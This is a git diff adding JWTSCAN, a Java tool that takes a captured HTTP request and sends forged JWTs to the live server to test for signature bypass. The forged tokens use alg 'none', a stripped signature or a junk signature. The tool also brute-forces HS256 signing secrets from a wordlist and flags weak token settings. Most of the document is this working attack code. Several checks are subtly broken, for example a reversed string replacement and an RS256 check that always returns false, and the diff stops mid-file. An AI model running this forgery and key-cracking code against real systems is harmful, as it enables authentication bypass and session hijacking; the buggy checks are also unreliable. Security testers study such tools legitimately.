diff --git a/JWTSCAN.jar b/JWTSCAN.jar new file mode 100644 index 0000000..3f1cae5 Binary files /dev/null and b/JWTSCAN.jar differ diff --git a/README.md b/README.md index 15615be..691f832 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@ -r 要扫描的完整http请求包路径 指定-r 会发送请求校验安全问题 例: + GET /user/userinfo HTTP/1.1 Host: 127.0.0.1:8081 - Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbklkIjoxMDAwMSwicm4iOiJBUEg2OEpSTXdURWFIN29TZEc2eURwa1c3SXA4bkY5TiJ9.u3xuzKmqKBgcPbTHBk3RitWc25sXfmJCP4ekeZQPKo0 -j 完整的jwt信息 diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..919cab0 --- /dev/null +++ b/pom.xml @@ -0,0 +1,83 @@ + + + 4.0.0 + + org.example + JWTSCAN + 1.0-SNAPSHOT + + + 8 + 8 + + + + + + org.apache.maven.plugins + maven-jar-plugin + 2.6 + + + + true + lib/ + com.su.main + + + + + + org.apache.maven.plugins + maven-dependency-plugin + 3.1.2 + + + copy-dependencies + package + + copy-dependencies + + + ${project.build.directory}/lib + + + + + + + + + + + + com.auth0 + java-jwt + 3.3.0 + + + + + io.jsonwebtoken + jjwt + 0.9.0 + + + + com.alibaba + fastjson + 1.2.74 + + + + + org.codehaus.jackson + jackson-mapper-asl + 1.7.0 + + + + + \ No newline at end of file diff --git a/src/main/java/com/su/analysis/Http_req_pars.java b/src/main/java/com/su/analysis/Http_req_pars.java new file mode 100644 index 0000000..0db2058 --- /dev/null +++ b/src/main/java/com/su/analysis/Http_req_pars.java @@ -0,0 +1,91 @@ +package com.su.analysis; + + +import com.su.util.Regu; + +import java.util.regex.Matcher; + +public class Http_req_pars { + + private String http_text; + + private Boolean is_ssl; + + public void setHttp_text(String http_text) { + this.http_text = http_text; + } + + public Integer getPort() { + return port; + } + + public void setPort(Integer port) { + this.port = port; + } + + private Integer port; + + private String host; + + public String getHttp_text() { + return http_text; + } + + public Jwt_pars getJwt_pars() { + return jwt_pars; + } + + private Jwt_pars jwt_pars; + + public Http_req_pars(String http_text) { + this.http_text=http_text; + } + + public void jwt_pars() { + this.http_text=http_text; + String jwt_re1="(eyJ[A-Za-z0-9_-]*\\.[A-Za-z0-9._-]*)"; + Matcher head_re=Regu.search(jwt_re1,http_text); + if (head_re!=null){ + jwt_pars = new Jwt_pars(head_re.group(1)); + }else { + String jwt_re2="(eyJ[A-Za-z0-9_\\/+-]*\\.[A-Za-z0-9._\\/+-]*)"; + Matcher head_re2=Regu.search(jwt_re1,http_text); + if (head_re2!=null){ + jwt_pars = new Jwt_pars(head_re2.group(1)); + }else { + System.out.println("未匹配到jwt"); + } + } + } + + public void host_pars() { + String re = "Host:\\s(.*)"; + Matcher host_re=Regu.search(re,http_text); + String[] h_p =host_re.group(1).replace(" ","").split(":"); + if (h_p.length != 2){ + setHost(h_p[0]); + setPort(0); + }else { + setHost(h_p[0]); + setPort(Integer.parseInt(h_p[1])); + } + } + + public Boolean getIs_ssl() { + return is_ssl; + } + + public void setIs_ssl(Boolean is_ssl) { + this.is_ssl = is_ssl; + } + + public String getHost() { + return host; + } + + public void setHost(String host) { + this.host = host; + } + + +} diff --git a/src/main/java/com/su/analysis/Http_res_pars.java b/src/main/java/com/su/analysis/Http_res_pars.java new file mode 100644 index 0000000..83ab254 --- /dev/null +++ b/src/main/java/com/su/analysis/Http_res_pars.java @@ -0,0 +1,50 @@ +package com.su.analysis; + +import java.io.BufferedReader; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.nio.charset.Charset; + +public class Http_res_pars { + + private String status_code; + private String body; + + public String getStatus_code() { + return status_code; + } + + public void setStatus_code(String status_code) { + this.status_code = status_code; + } + + public String getBody() { + return body; + } + + public void setBody(String body) { + this.body = body; + } + + public Boolean res_pars(String text) throws IOException { + BufferedReader br = new BufferedReader(new InputStreamReader(new ByteArrayInputStream(text.getBytes()), Charset.forName("utf8"))); + String line; + Boolean body_s =false; + String body=""; + while((line = br.readLine())!= null){ + if (!body_s){ + if (line.equals("")){ + body_s = true; + } + }else { + body += line; + } + } + setBody(body); + + return null; + } + + +} diff --git a/src/main/java/com/su/analysis/Jwt_pars.java b/src/main/java/com/su/analysis/Jwt_pars.java new file mode 100644 index 0000000..2220f88 --- /dev/null +++ b/src/main/java/com/su/analysis/Jwt_pars.java @@ -0,0 +1,54 @@ +package com.su.analysis; + +public class Jwt_pars { + + private String head; + private String payload; + private String secret; + private String jwt_text; + + + public Jwt_pars(String jwt_text) { + this.jwt_text = jwt_text; + String[] jwt_texts = jwt_text.split("\\."); + + if (jwt_texts.length!=3){ return; } + this.head = jwt_texts[0]; + this.payload = jwt_texts[1]; + this.secret = jwt_texts[2]; + } + + public String getHead() { + return head; + } + + public void setHead(String head) { + this.head = head; + } + + public String getPayload() { + return payload; + } + + public void setPayload(String payload) { + this.payload = payload; + } + + public String getSecret() { + return secret; + } + + public void setSecret(String secret) { + this.secret = secret; + } + + public String getJwt_text() { + return jwt_text; + } + + public void setJwt_text(String jwt_text) { + this.jwt_text = jwt_text; + } + + +} diff --git a/src/main/java/com/su/defect/D_Loader.java b/src/main/java/com/su/defect/D_Loader.java new file mode 100644 index 0000000..117820e --- /dev/null +++ b/src/main/java/com/su/defect/D_Loader.java @@ -0,0 +1,160 @@ +package com.su.defect; + +import com.su.analysis.Http_req_pars; +import com.su.analysis.Jwt_pars; +import com.su.defect.brute_force.Jwt_blast_processing1; +import com.su.defect.brute_force.Key_enum; +import com.su.defect.config_defect.Algorithm_rs25; +import com.su.defect.config_defect.Config_head_None; +import com.su.defect.config_defect.F_config_defect; +import com.su.defect.config_defect.JWT_miss_exp; +import com.su.defect.vulnerability.F_vulnerability; +import com.su.defect.vulnerability.None_token; +import com.su.defect.vulnerability.Null_encryption; +import com.su.util.File_Utils; +import com.su.util.Socket_http_utility; +import sun.misc.BASE64Decoder; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import java.util.concurrent.Semaphore; + +public class D_Loader { + + List vulnerabilities = new ArrayList<>(); + List f_config_defects= new ArrayList<>(); + + private Integer thead_num=30; + + public Integer getThead_num() { + return thead_num; + } + + public void setThead_num(Integer thead_num) { + this.thead_num = thead_num; + } + + public String getDictionarie_file() { + return dictionarie_file; + } + + public void setDictionarie_file(String dictionarie_file) { + this.dictionarie_file = dictionarie_file; + } + + private String dictionarie_file=""; + + public D_Loader() { + F_vulnerability none_token = new None_token(); + F_vulnerability null_encryption =new Null_encryption(); + vulnerabilities.add(none_token); + vulnerabilities.add(null_encryption); + + F_config_defect config_None =new Config_head_None(); + F_config_defect jwt_miss_exp =new JWT_miss_exp(); + F_config_defect algorithm_rs25 =new Algorithm_rs25(); + f_config_defects.add(config_None); + f_config_defects.add(jwt_miss_exp); + f_config_defects.add(algorithm_rs25); + + } + + public void jwt_brute_jorce(String dictionarie_path, Integer thead_num, Jwt_pars jwt_pars){ + + Key_enum key_enum = new Key_enum(dictionarie_path,thead_num,jwt_pars); + key_enum.execute_(); + } + + + public void c_dloder(Jwt_pars jwt_pars){ + System.out.println("-------------------扫描jwt配置中可能存在的问题------------------"); + for (F_config_defect f_config_defect:f_config_defects){ + f_config_defect.setJwt_pars(jwt_pars); + Boolean res=f_config_defect.scan(); + if (res){ + System.out.println("+++++++++++++++++++++++++++++++++++++++++++++++++++++++"); + System.out.println("存在配置危险 : "+f_config_defect.getV_name()); + System.out.println("风险等级 : "+f_config_defect.getRisk_level()); + System.out.println("存在配置危险描述 : "+ f_config_defect.getDescribe()); + System.out.println("细节描述 : "+ f_config_defect.getDetails()); + + System.out.println(); + } + } + System.out.println("-------------------------------------------------------------"); + + } + + public void v_loder( Http_req_pars http_req_pars) throws IOException { + + http_req_pars.host_pars(); + System.out.println("-------------------发送请求探测jwt漏洞---------------------"); + //针对默认端口情况下的判断 + if (http_req_pars.getPort()==0){ + http_req_pars.setPort(443); + Boolean t_res = Socket_http_utility.if_is_https(http_req_pars); + if (t_res){ + + http_req_pars.setIs_ssl(true); + }else { + + http_req_pars.setIs_ssl(false); + http_req_pars.setPort(80); + } + }else { + Boolean t_res =false; + t_res = Socket_http_utility.if_is_https(http_req_pars); + if (t_res){ + http_req_pars.setIs_ssl(true); + }else { + http_req_pars.setIs_ssl(false); + } + } + + for (F_vulnerability vulnerability:vulnerabilities){ + vulnerability.setHttp_req_pars(http_req_pars); + Boolean res=vulnerability.scan(); + if (res){ + + System.out.println("++++++++++++++++++++++++++++++++++++++++++++++++++++++"); + System.out.println("存在漏洞 : "+vulnerability.getV_name()); + System.out.println("风险等级 : "+vulnerability.getRisk_level()); + System.out.println("漏洞描述 : "+ vulnerability.getDescribe()); + System.out.println("细节描述 : "+ vulnerability.getDetails()); + System.out.println(); + } + } + Jwt_pars jwt_pars= http_req_pars.getJwt_pars(); + System.out.println("-------------------------------------------------------------"); + } + public void b_loader(Jwt_pars jwt_pars){ + if (dictionarie_file.equals("")){return;} + System.out.println("--------------------------当前爆破jwt密钥------------------------"); + Jwt_blast_processing1.s = new Semaphore(thead_num); + if (dictionarie_file!=""){ + jwt_brute_jorce(dictionarie_file,thead_num,jwt_pars); + } + } + + public void jwt_de_info(Jwt_pars jwt_pars){ + System.out.println("JWT 信息:::"); + System.out.println(jwt_pars.getJwt_text()); + BASE64Decoder decoder = new BASE64Decoder(); + try { + byte[] headbytes = decoder.decodeBuffer(jwt_pars.getHead()); + byte[] payloadytes = decoder.decodeBuffer(jwt_pars.getPayload()); + System.out.println("JWT 信息解密:::"); + System.out.println("jwt HEADER : "+new String(headbytes)); + System.out.println("jwt PAYLOAD : "+new String(payloadytes)); + } catch (IOException e) { + System.out.println("JWT 解密失败...."); + System.exit(0); + e.printStackTrace(); + } + + + + } +} diff --git a/src/main/java/com/su/defect/Defect.java b/src/main/java/com/su/defect/Defect.java new file mode 100644 index 0000000..c9313a8 --- /dev/null +++ b/src/main/java/com/su/defect/Defect.java @@ -0,0 +1,54 @@ +package com.su.defect; + +public abstract class Defect { + private String v_name; + + public String getV_name() { + return v_name; + } + + public void setV_name(String v_name) { + this.v_name = v_name; + } + + public String getDescribe() { + return describe; + } + + public void setDescribe(String describe) { + this.describe = describe; + } + + public String getDetails() { + return details; + } + + public void setDetails(String details) { + this.details = details; + } + + public String getRepair() { + return repair; + } + + public void setRepair(String repair) { + this.repair = repair; + } + private String describe; + + private String details; + + private String repair; + + private String risk_level; + + public String getRisk_level() { + return risk_level; + } + + public void setRisk_level(String risk_level) { + this.risk_level = risk_level; + } + + public abstract Boolean scan(); +} diff --git a/src/main/java/com/su/defect/brute_force/JWT_blast.java b/src/main/java/com/su/defect/brute_force/JWT_blast.java new file mode 100644 index 0000000..9288632 --- /dev/null +++ b/src/main/java/com/su/defect/brute_force/JWT_blast.java @@ -0,0 +1,34 @@ +package com.su.defect.brute_force; + +import com.su.analysis.Jwt_pars; +import com.su.util.En_utility; + +public class JWT_blast{ + + private String text; + + public String getKey() { + return key; + } + + private String key; + private String secret; + + public JWT_blast(String text, String key, String secret) { + this.text = text; + this.key = key; + this.secret = secret; + } + + public Boolean Encryption_comparison(){ + String t_secret=En_utility.en_hs256(this.text,this.key); + if (!t_secret.equals(this.secret)){ + return false; + } + return true; + } + + + + +} diff --git a/src/main/java/com/su/defect/brute_force/Jwt_blast_processing1.java b/src/main/java/com/su/defect/brute_force/Jwt_blast_processing1.java new file mode 100644 index 0000000..e24e61e --- /dev/null +++ b/src/main/java/com/su/defect/brute_force/Jwt_blast_processing1.java @@ -0,0 +1,48 @@ +package com.su.defect.brute_force; + +import java.util.concurrent.Semaphore; + +public class Jwt_blast_processing1 implements Runnable{ + + //当前并发线程数 + public static Semaphore s; + + + public Jwt_blast_processing1(JWT_blast jwt_blast) { + this.jwt_blast = jwt_blast; + } + + private JWT_blast jwt_blast; + + //判断是否成功 + private Boolean j_result=false; + + public static String sec=""; + + public static Boolean success=false; + + @Override + public void run() { + + try { + s.acquire(); + Boolean res = jwt_blast.Encryption_comparison(); + if (res) { + sec = jwt_blast.getKey(); + success = true; + } + s.release(); + }catch (Exception e){ + s.release(); + } + + } + + public Boolean getJ_result() { + return j_result; + } + + public void setJ_result(Boolean j_result) { + this.j_result = j_result; + } +} diff --git a/src/main/java/com/su/defect/brute_force/Key_enum.java b/src/main/java/com/su/defect/brute_force/Key_enum.java new file mode 100644 index 0000000..d31bdd3 --- /dev/null +++ b/src/main/java/com/su/defect/brute_force/Key_enum.java @@ -0,0 +1,59 @@ +package com.su.defect.brute_force; + +import com.su.analysis.Jwt_pars; + +import com.su.util.File_Utils; + +import java.util.List; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; + +public class Key_enum { + + + private String dictionarie_path; + + private Integer thead_num; + + private Jwt_pars jwt_pars; + + public Key_enum(String dictionarie_path, Integer thead_num, Jwt_pars jwt_pars) { + this.dictionarie_path = dictionarie_path; + this.thead_num = thead_num; + this.jwt_pars = jwt_pars; + } + + public void execute_(){ + + String jwt_e = jwt_pars.getHead()+"."+jwt_pars.getPayload(); + List keys = File_Utils.lines_read_array(dictionarie_path); + + + ExecutorService executorService = Executors.newCachedThreadPool(); + for (String key: keys){ + JWT_blast jwt_blast =new JWT_blast(jwt_e,key,jwt_pars.getSecret()); + executorService.execute(new Jwt_blast_processing1(jwt_blast)); + } + executorService.shutdown(); + + try { + while (true){ + if(executorService.isTerminated()){ + break; + } + if (Jwt_blast_processing1.success){ + break; + } + } + + if (Jwt_blast_processing1.success){ + System.out.println("Key cracked successfully"); + System.out.println("Key : "+Jwt_blast_processing1.sec); + }else { + System.out.println("Key cracking failed"); + } + }catch (Exception e){ + + } + } +} diff --git a/src/main/java/com/su/defect/config_defect/Algorithm_rs25.java b/src/main/java/com/su/defect/config_defect/Algorithm_rs25.java new file mode 100644 index 0000000..6f660d9 --- /dev/null +++ b/src/main/java/com/su/defect/config_defect/Algorithm_rs25.java @@ -0,0 +1,28 @@ +package com.su.defect.config_defect; + +import com.alibaba.fastjson.JSONObject; +import sun.misc.BASE64Decoder; + +public class Algorithm_rs25 extends F_config_defect{ + @Override + public Boolean scan() { + + BASE64Decoder decoder = new BASE64Decoder(); + try { + byte[] bytes = decoder.decodeBuffer(getJwt_pars().getHead()); + JSONObject jsonObject = JSONObject.parseObject(new String(bytes)); + String alg =jsonObject.getString("alg"); + if (!alg.equalsIgnoreCase("RS256")){return false; } + setDescribe("如果算法从rs256更改为hs256,后端代码将使用公钥作为密钥,然后使用hs256算法验证签名。由于攻击者有时可以获得公钥,因此攻击者可以将标头中的算法修改为hs256,然后使用RSA公钥对数据进行签名。"); + setV_name("jwt配置中jwt head中的密钥类型为 RS256,"); + setRisk_level("低"); + setDetails(new String(bytes)+"当前密钥类型为RS256"); + + + }catch (Exception e){ + return false; + } + + return false; + } +} diff --git a/src/main/java/com/su/defect/config_defect/Config_head_None.java b/src/main/java/com/su/defect/config_defect/Config_head_None.java new file mode 100644 index 0000000..c817cea --- /dev/null +++ b/src/main/java/com/su/defect/config_defect/Config_head_None.java @@ -0,0 +1,32 @@ +package com.su.defect.config_defect; + +import com.alibaba.fastjson.JSONObject; +import com.alibaba.fastjson.JSONPath; +import sun.misc.BASE64Decoder; + +import java.io.IOException; + +public class Config_head_None extends F_config_defect{ + + @Override + public Boolean scan() { + BASE64Decoder decoder = new BASE64Decoder(); + try { + byte[] bytes = decoder.decodeBuffer(getJwt_pars().getHead()); + JSONObject jsonObject = JSONObject.parseObject(new String(bytes)); + String alg =jsonObject.getString("alg"); + if (!alg.equalsIgnoreCase("none")){ return false; } + + setDescribe("当前jwt配置中jwt head中的密钥类型为 none"); + setV_name("jwt none密钥"); + setRisk_level("高"); + setDetails(new String(bytes)+"可访问以有资源"); + return true; + + } catch (IOException e) { + return false; + } + + + } +} diff --git a/src/main/java/com/su/defect/config_defect/F_config_defect.java b/src/main/java/com/su/defect/config_defect/F_config_defect.java new file mode 100644 index 0000000..643aa6e --- /dev/null +++ b/src/main/java/com/su/defect/config_defect/F_config_defect.java @@ -0,0 +1,21 @@ +package com.su.defect.config_defect; + +import com.su.analysis.Http_req_pars; +import com.su.analysis.Jwt_pars; +import com.su.defect.Defect; + +public abstract class F_config_defect extends Defect { + + public Jwt_pars getJwt_pars() { + return jwt_pars; + } + + public void setJwt_pars(Jwt_pars jwt_pars) { + this.jwt_pars = jwt_pars; + } + + private Jwt_pars jwt_pars; + + @Override + public abstract Boolean scan(); +} diff --git a/src/main/java/com/su/defect/config_defect/JWT_miss_exp.java b/src/main/java/com/su/defect/config_defect/JWT_miss_exp.java new file mode 100644 index 0000000..76b3724 --- /dev/null +++ b/src/main/java/com/su/defect/config_defect/JWT_miss_exp.java @@ -0,0 +1,39 @@ +package com.su.defect.config_defect; + +import com.alibaba.fastjson.JSONObject; +import sun.misc.BASE64Decoder; + +import java.io.IOException; + +public class JWT_miss_exp extends F_config_defect{ + @Override + public Boolean scan() { + + BASE64Decoder decoder = new BASE64Decoder(); + try { + byte[] bytes = decoder.decodeBuffer(getJwt_pars().getPayload()); + JSONObject jsonObject = JSONObject.parseObject(new String(bytes)); + if (jsonObject.containsKey("exp")){ return false; } + + setV_name("JWT中未设置过期时间"); + setRisk_level("中"); + setDescribe("当前JWT中未设置过期时间"); + setDetails(new String(bytes)); + return true; + + }catch (Exception e){ + return false; + } + + + } + + public static void main(String[] args) throws IOException { + BASE64Decoder decoder = new BASE64Decoder(); + JSONObject jsonObject = JSONObject.parseObject("{\"typ\":\"JWT\",\"alg\":\"HS256\"}"); + if (jsonObject.containsKey("typ")){ + System.out.println("1111111111111111111"); + } + + } +} diff --git a/src/main/java/com/su/defect/vulnerability/F_vulnerability.java b/src/main/java/com/su/defect/vulnerability/F_vulnerability.java new file mode 100644 index 0000000..225eadb --- /dev/null +++ b/src/main/java/com/su/defect/vulnerability/F_vulnerability.java @@ -0,0 +1,20 @@ +package com.su.defect.vulnerability; + +import com.su.analysis.Http_req_pars; +import com.su.defect.Defect; + +public abstract class F_vulnerability extends Defect { + public Http_req_pars getHttp_req_pars() { + return http_req_pars; + } + + public void setHttp_req_pars(Http_req_pars http_req_pars) { + this.http_req_pars = http_req_pars; + } + + private Http_req_pars http_req_pars; + + @Override + public abstract Boolean scan(); + +} diff --git a/src/main/java/com/su/defect/vulnerability/None_token.java b/src/main/java/com/su/defect/vulnerability/None_token.java new file mode 100644 index 0000000..189a063 --- /dev/null +++ b/src/main/java/com/su/defect/vulnerability/None_token.java @@ -0,0 +1,66 @@ +package com.su.defect.vulnerability; + +import com.alibaba.fastjson.JSONObject; +import com.alibaba.fastjson.JSONPath; +import com.su.analysis.Http_req_pars; +import com.su.analysis.Http_res_pars; +import com.su.analysis.Jwt_pars; +import com.su.util.Socket_http_utility; +import sun.misc.BASE64Decoder; +import sun.misc.BASE64Encoder; + +import java.util.ArrayList; +import java.util.List; + +public class None_token extends F_vulnerability { + + + @Override + public Boolean scan() { + Jwt_pars jwt_pars = getHttp_req_pars().getJwt_pars(); + BASE64Decoder decoder = new BASE64Decoder(); + BASE64Encoder encoder =new BASE64Encoder(); + try { + byte[] bytes = decoder.decodeBuffer(jwt_pars.getHead()); + JSONObject jsonObject = JSONObject.parseObject(new String(bytes)); + String alg =jsonObject.getString("alg"); + + JSONPath.set(jsonObject,"alg","none"); + String jsonStr = JSONObject.toJSONString(jsonObject); + + + String n_head = encoder.encode(jsonStr.getBytes()); + Http_res_pars http_res_pars=Socket_http_utility.send_s_http2(getHttp_req_pars()); + String y_body = http_res_pars.getBody(); + + String y_http_ = getHttp_req_pars().getHttp_text(); + String y_jwt = jwt_pars.getJwt_text(); + + List none_jwts = new ArrayList<>(); + none_jwts.add(n_head+"."+jwt_pars.getPayload()+"."); + none_jwts.add(n_head+"."+jwt_pars.getPayload()); + none_jwts.add(n_head+"."+jwt_pars.getPayload()+".21j32j13j2hgfg12g3h213h2gh3g21h1cvvowie1"); + + for (String node_jwt:none_jwts){ + + String node_http_= y_http_.replace(y_jwt,node_jwt); + getHttp_req_pars().setHttp_text(node_http_); + + Http_res_pars http_res_pars_no=Socket_http_utility.send_s_http2(getHttp_req_pars()); + String node_body = http_res_pars_no.getBody(); + if (node_body.equals(y_body)){ + setDescribe("可设置jwt head中的密钥类型为 none 可以绕过密钥限制"); + setV_name("可设置 jwt none密钥"); + setDetails(n_head+"可访问以有资源"); + setRisk_level("高"); + return true; + } + + } + + }catch (Exception e){ + + } + return false; + } +} diff --git a/src/main/java/com/su/defect/vulnerability/Null_encryption.java b/src/main/java/com/su/defect/vulnerability/Null_encryption.java new file mode 100644 index 0000000..d024e84 --- /dev/null +++ b/src/main/java/com/su/defect/vulnerability/Null_encryption.java @@ -0,0 +1,46 @@ +package com.su.defect.vulnerability; + +import com.su.analysis.Http_req_pars; +import com.su.analysis.Http_res_pars; +import com.su.analysis.Jwt_pars; +import com.su.util.Socket_http_utility; + +import java.util.ArrayList; +import java.util.List; + +public class Null_encryption extends F_vulnerability{ + + @Override + public Boolean scan() { + Jwt_pars jwt_pars = getHttp_req_pars().getJwt_pars(); + try { + Http_res_pars http_res_pars= Socket_http_utility.send_s_http2(getHttp_req_pars()); + String y_body = http_res_pars.getBody(); + + String y_http_ = getHttp_req_pars().getHttp_text(); + List nullen_jwts = new ArrayList<>(); + nullen_jwts.add(jwt_pars.getHead()+"."+jwt_pars.getPayload()+"."); + nullen_jwts.add(jwt_pars.getHead()+"."+jwt_pars.getPayload()); + nullen_jwts.add(jwt_pars.getHead()+"."+jwt_pars.getPayload()+"."+"sadusaidyuy127y72hjhwqkjehwqe"); + for (String nullen_jwt:nullen_jwts){ + String node_http_= y_http_.replace(nullen_jwt,jwt_pars.getJwt_text()); + getHttp_req_pars().setHttp_text(node_http_); + Http_res_pars http_res_pars_no=Socket_http_utility.send_s_http2(getHttp_req_pars()); + String nullbody=http_res_pars_no.getBody(); + if (y_body.equals(nullbody)){ + setDescribe("空加密算法"); + setV_name("不校验jwt中的密钥信息"); + setDetails("密钥信息可至空"); + setRisk_level("高"); + return true; + } + } + return false; + }catch (Exception e){ + + return false; + } + } + +} + diff --git a/src/main/java/com/su/main.java b/src/main/java/com/su/main.java new file mode 100644 index 0000000..a875e4c --- /dev/null +++ b/src/main/java/com/su/main.java @@ -0,0 +1,84 @@ +package com.su; + +import com.su.analysis.Http_req_pars; +import com.su.analysis.Jwt_pars; +import com.su.defect.D_Loader; +import com.su.defect.brute_force.Key_enum; +import com.su.util.File_Utils; + +import javax.crypto.Mac; +import javax.crypto.spec.SecretKeySpec; + +public class main { + public static void main(String[] args) throws Exception { + + if (args.length == 0) { + printUsage(); + System.exit(1); + } + String file_path=""; + String jwt=""; + String dictionarie_file=""; + Integer thead_num=30; + + int argIndex = 0; + while (argIndex < args.length) { + String arg = args[argIndex]; + if (arg.equals("-r")) { + file_path = args[argIndex+1]; + }else if (arg.equals("-j")){ + jwt = args[argIndex+1]; + }else if (arg.equals("-d")){ + dictionarie_file = args[argIndex+1]; + }else if (arg.equals("-t")){ + thead_num = Integer.parseInt(args[argIndex+1]); + } + argIndex++; + } + + D_Loader d_loader= new D_Loader(); + d_loader.setDictionarie_file(dictionarie_file); + d_loader.setThead_num(thead_num); + + if (jwt!=""){ + Jwt_pars jwt_pars=new Jwt_pars(jwt); + d_loader.jwt_de_info(jwt_pars); + d_loader.c_dloder(jwt_pars); + d_loader.b_loader(jwt_pars); + + }else if (file_path!=""){ + + String text = File_Utils.lines_read(file_path); + Http_req_pars http_req_pars =new Http_req_pars(text); + http_req_pars.jwt_pars(); + Jwt_pars jwt_pars=http_req_pars.getJwt_pars(); + + d_loader.jwt_de_info(jwt_pars); + d_loader.v_loder(http_req_pars); + d_loader.c_dloder(jwt_pars); + d_loader.b_loader(jwt_pars); + + } + + } + + private static void printUsage() { + System.out.println("-r : specifies the path of the complete HTTP request package to be scanned, - r will send a request to verify the security problem\n" + + "Example:\n" + + "GET /user/userinfo HTTP/1.1\n" + + "Host: 127.0.0.1:8081\n" + + "Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbklkIjoxMDAwMSwicm4iOiJBUEg2OEpSTXdURWFIN29TZEc2eURwa1c3SXA4bkY5TiJ9.u3xuzKmqKBgcPbTHBk3RitWc25sXfmJCP4ekeZQPKo0\n" + + "\n" + + "-j : complete JWT information\n" + + "\n" + + "-d : specifies the JWT secret key explosion dictionary. If it is not specified, brute force cracking will not be performed\n" + + "\n" + + "-t JWT the number of threads for key blasting is 30 by default"+ + "\n" + + "Two scanning modes are provided\n" + + "Example:\n" + + "java - jar JWTSCAN.jar -r Original_request.txt -d Key_dictionary.txt\n" + + "java - jar JWTSCAN.jar jjwt-1.0-SNAPSHOT.jar -j eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbklkIjoxMDAwMSwicm4iOiJBUEg2OEpSTXdURWFIN29TZEc2eURwa1c3SXA4bkY5TiJ9.u3xuzKmqKBgcPbTHBk3RitWc25sXfmJCP4ekeZQPKo0 -d Key_dictionary.txt"); + } + +} diff --git a/src/main/java/com/su/text.java b/src/main/java/com/su/text.java new file mode 100644 index 0000000..dc63042 --- /dev/null +++ b/src/main/java/com/su/text.java @@ -0,0 +1,27 @@ +package com.su; + +import io.jsonwebtoken.*; +import io.jsonwebtoken.impl.crypto.DefaultJwtSigner; +import io.jsonwebtoken.impl.crypto.JwtSigner; + +import javax.crypto.spec.SecretKeySpec; +import java.security.Key; +import java.util.HashMap; +import java.util.Map; + +/** + * JWT_HS256生成签名和解密的Demo + * @time 2019-12-11 18:40 + */ +public class text { + + /** + * JWT算法HS256测试 + * @Time 2019/12/6 18:22 + * @Param + * @Return: void + */ + public static void main(String[] args) { + System.out.println("G1ZmDAmq3fAXeK-HB9gnvCXr0RSTE-I358wGyNdfZ14".length()); + } +} diff --git a/src/main/java/com/su/util/En_utility.java b/src/main/java/com/su/util/En_utility.java new file mode 100644 index 0000000..0456d46 --- /dev/null +++ b/src/main/java/com/su/util/En_utility.java @@ -0,0 +1,18 @@ +package com.su.util; + +import io.jsonwebtoken.SignatureAlgorithm; +import io.jsonwebtoken.impl.crypto.DefaultJwtSigner; +import io.jsonwebtoken.impl.crypto.JwtSigner; + +import javax.crypto.spec.SecretKeySpec; +import java.security.Key; + +public class En_utility { + public static String en_hs256(String text,String key){ + Key KEY = new SecretKeySpec(key.getBytes(), + SignatureAlgorithm.HS256.getJcaName()); + JwtSigner signer = new DefaultJwtSigner(SignatureAlgorithm.HS256, KEY); + String base64UrlSignature = signer.sign(text); + return base64UrlSignature; + } +} diff --git a/src/main/java/com/su/util/File_Utils.java b/src/main/java/com/su/util/File_Utils.java new file mode 100644 index 0000000..797434b --- /dev/null +++ b/src/main/java/com/su/util/File_Utils.java @@ -0,0 +1,78 @@ +package com.su.util; + +import java.io.*; +import java.util.ArrayList; +import java.util.List; + +public class File_Utils { + + + + public static String lines_read(String fileName){ + + File file = new File(fileName); + String filevalue=""; + BufferedReader reader = null; + try { + + reader = new BufferedReader(new FileReader(file)); + String tempString = null; + int line = 1; + // 一次读入一行,直到读入null为文件结束 + while ((tempString = reader.readLine()) != null) { + filevalue+=tempString+"\r\n"; + line++; + } + reader.close(); + } catch (IOException e) { + e.printStackTrace(); + } finally { + if (reader != null) { + try { + reader.close(); + } catch (IOException e1) { + } + } + } + return filevalue; + } + + public static List lines_read_array(String fileName){ + + List texts = new ArrayList<>(); + File file = new File(fileName); + + BufferedReader reader = null; + try { + reader = new BufferedReader(new FileReader(file)); + String tempString = null; + int line = 1; + // 一次读入一行,直到读入null为文件结束 + while ((tempString = reader.readLine()) != null) { + texts.add(tempString); + line++; + } + reader.close(); + } catch (IOException e) { + e.printStackTrace(); + } finally { + if (reader != null) { + try { + reader.close(); + } catch (IOException e1) { + } + } + } + return texts; + } + + public static InputStream get_FileInputStream(String path) throws FileNotFoundException { + InputStream is = new FileInputStream(new File(path)); + return is; + } + + + + + +} diff --git a/src/main/java/com/su/util/Regu.java b/src/main/java/com/su/util/Regu.java new file mode 100644 index 0000000..14b8081 --- /dev/null +++ b/src/main/java/com/su/util/Regu.java @@ -0,0 +1,60 @@ +package com.su.util; + +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class Regu { + + public static String search1(String reg,String str){ + Matcher matcher=search(reg,str); + return matcher.group(1); + } + + public static Matcher search(String reg,String str){ + Pattern pattern = Pattern.compile(reg); + Matcher matcher = pattern.matcher(str); + if( matcher.find() ){ + return matcher; + }else{ + //err + System.out.println("未匹配正则"); + return null; + } + } + + + public static List searchall(String reg,String str){ + + List matcherList = new ArrayList<>(); + Pattern pattern = Pattern.compile(reg); + Matcher matcher = pattern.matcher(str); + while (matcher.find()) { //此处find()每次被调用后,会偏移到下一个匹配 + try { + matcherList.add(matcher.group(1));//获取当前匹配的值 + }catch (IndexOutOfBoundsException e){ + System.out.println(e.getMessage()); + } + + } + + return matcherList; + } + public static String btch_replacement(String[] tagets,String rep,String str){ + + for(String t:tagets){ + str=str.replace(t,rep); + + } + return str; + } + + public static void main(String[] args) { + + Matcher matcher=Regu.search("\\$\\{(.*?)\\}","${spring.version}"); + + System.out.println( matcher.group(1)); + } + +} diff --git a/src/main/java/com/su/util/Socket_http_utility.java b/src/main/java/com/su/util/Socket_http_utility.java new file mode 100644 index 0000000..50dc09d --- /dev/null +++ b/src/main/java/com/su/util/Socket_http_utility.java @@ -0,0 +1,87 @@ +package com.su.util; + +import com.su.analysis.Http_req_pars; +import com.su.analysis.Http_res_pars; + +import 